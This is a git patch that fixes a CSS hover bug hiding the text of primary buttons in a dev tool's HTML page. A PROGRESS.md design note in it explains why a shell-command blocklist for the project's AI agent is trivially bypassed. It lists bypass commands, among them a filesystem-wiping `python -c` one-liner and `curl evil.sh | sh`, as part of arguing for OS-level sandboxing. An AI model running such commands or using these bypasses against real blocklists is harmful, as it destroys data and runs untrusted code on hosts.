From 9a26e85da2aa5359b1df102408ab4841d08fd9cb Mon Sep 17 00:00:00 2001 From: caoqianming Date: Thu, 21 May 2026 21:57:45 +0800 Subject: [PATCH] =?UTF-8?q?fix(ui):=20primary=20button=20hover=20=E6=96=87?= =?UTF-8?q?=E5=AD=97=E6=B6=88=E5=A4=B1=20(.primary:hover=20=E5=AE=88?= =?UTF-8?q?=E4=BD=8F=20background)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit button:hover:not(:disabled) 与 button.primary:hover 特异性同为 (0,2,1), 平手按源码序后者赢,但后者只声明 filter 没声明 background,导致 background fallback 到前者的 --hover 浅灰,白字浅灰底视觉消失。 修法显式 background: var(--accent),brightness filter 在红底上正常提亮。 影响 "+ 新建任务" / "发送" 两个 primary 按钮。 Co-Authored-By: Claude Opus 4.7 (1M context) --- PROGRESS.md | 1 + web/static/dev.html | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/PROGRESS.md b/PROGRESS.md index 9f143a1..d18393e 100644 --- a/PROGRESS.md +++ b/PROGRESS.md @@ -23,6 +23,7 @@ ### 2026-05-21 +- **dev.html primary button hover 文字消失修复(`.primary:hover` 加 `background: var(--accent)`)**:`button:hover:not(:disabled)` 与 `button.primary:hover` 特异性同为 (0,2,1) 平手按源码序后者赢,但后者只声明了 `filter: brightness(1.08)` 没声明 `background`,导致 `background` fallback 到前者的 `var(--hover)` 浅灰,而 `color` 仍是 `.primary` 的白 —— 白字浅灰底视觉消失。修法守住 background = accent,brightness filter 在红底上正常提亮。"+ 新建任务" / "发送" 两个 primary 按钮 hover 体验回归。 - **sandbox 阻塞地位写进 DESIGN(§7.7 Stage C 标 hard prereq / §7.8 加 shell+run_python 无沙箱风险行 / §7.9 加"不在工具层加强黑名单"取舍 2026-05-21)**:用户提出"模型写危险 sh 命令直接执行就炸了"担忧,确认风险真实但分两层 —— 本地 dogfood blast radius 限自身,§5 less-scaffolding-more-trust 适用;SaaS 外部开放则 blast radius = 主机 + 跨 user 数据 + cloud IAM,信任模型完全变。`tools/shell.py::BLOCKED_PATTERNS` 是 trivial-bypass 装饰品(双空格 / `bash -c` / `python -c "import shutil; shutil.rmtree('/')"` / `curl evil.sh \| sh` / `cd /` 全能过),不在它上面继续加规则 —— 命令注入图灵完备,黑名单 fundamentally broken,做复杂只给虚假安全感且误伤合法用法。正确防线在 OS 层 §7.5(per-task docker exec + drop ALL caps + read-only rootfs + bind mount = own user root + egress allowlist + cgroup),Stage C 是开放外部用户的 hard prereq。否决了"shell=False + 拒管道 / 重定向 / `$()`"折中 —— 挡不住 `python -c` 间接路径且砍掉合法用法。 - **dev.html CSS 精简 + 圆角降档 + modal 基类化(style 块 589 → 522 行,-11%)**:为了"没那么圆润"统一调整。引入 CSS tokens:① 语义色组 `--c-green/blue/purple/orange/red` + 同色 `-bg/-bd` 三件套,顶栏 5 个按钮 hover + dd-item + badge.completed + sp-copy/sp-move 全切到 token(同色 selector 合并:export ≈ sp-copy 蓝、abandon ≈ sp-move 橙,各省 1 条规则);② 圆角分档 `--r-sm/md/lg/xl` = 3/4/6/8px,主流 button/input/msg/menu 从 6px 降到 4px,modal card 从 8~12px 降到 6~8px,art-chip 999px 保留(胶囊语言);③ `--mono`/`--t`/`--shadow-card` 收敛重复 font-family/transition/box-shadow。④ 4 个 modal(`#admin-modal/#src-picker-modal/#new-task-modal/#file-preview-modal`)抽 `.modal` 基类(fixed/inset/bg/display/.show 五属性合并),id 选择器只留 z-index + 宽高差异;HTML 同步加 `class="modal"`(JS `classList.add("show")` 不动)。⑤ `.msg .body` 与 file-preview `.md-render` 合并 markdown 渲染规则(`.msg .body x, .md-render x { ... }`,从两套 17 条缩到一套 17 条多 selector)。⑥ `button:disabled` 全局兜底,删散落 2 处单独写;`#login input:focus` 与 `#admin-modal input:focus` 合并(规则一字不差)。`.dev-item.act-export/rename` 同色合并到一行。功能 0 改动,JS 完全不动;`.dd-item` 颜色微变(原 #2e7d32 → #27ae60 等,因为统一到 5 组色 token)是可接受的副作用。 - **工作目录回到原生 ``,首项 `(全部目录)`,onchange → `loadTaskList`;原 input 的 debounce listener 删,搜索 `filter-q` 的 debounce 保留独立写。③ `loadFolderSuggestions` 拉数据 + 新增 `populateFolderSelects` 灌两个 select(保留当前选中值);`enterApp` 启动时 fire-and-forget 预拉一次让左 pane 一打开就有选项。④ hint 在"输入新名恰好命中已有"时提示"将复用而非新建"。combobox 工厂 + .combo CSS + datalist 残留全删。 diff --git a/web/static/dev.html b/web/static/dev.html index 03672ac..8434395 100644 --- a/web/static/dev.html +++ b/web/static/dev.html @@ -57,7 +57,7 @@ button:hover:not(:disabled) { background: var(--hover); } button:disabled { opacity: 0.4; cursor: not-allowed; } button.primary { background: var(--accent); color: #fff; border-color: var(--accent); } - button.primary:hover { filter: brightness(1.08); } + button.primary:hover { background: var(--accent); filter: brightness(1.08); } button.danger:hover { background: var(--accent-soft); border-color: var(--accent); color: var(--accent); } input:not([type="checkbox"]):not([type="radio"]):not([type="file"]), textarea, select {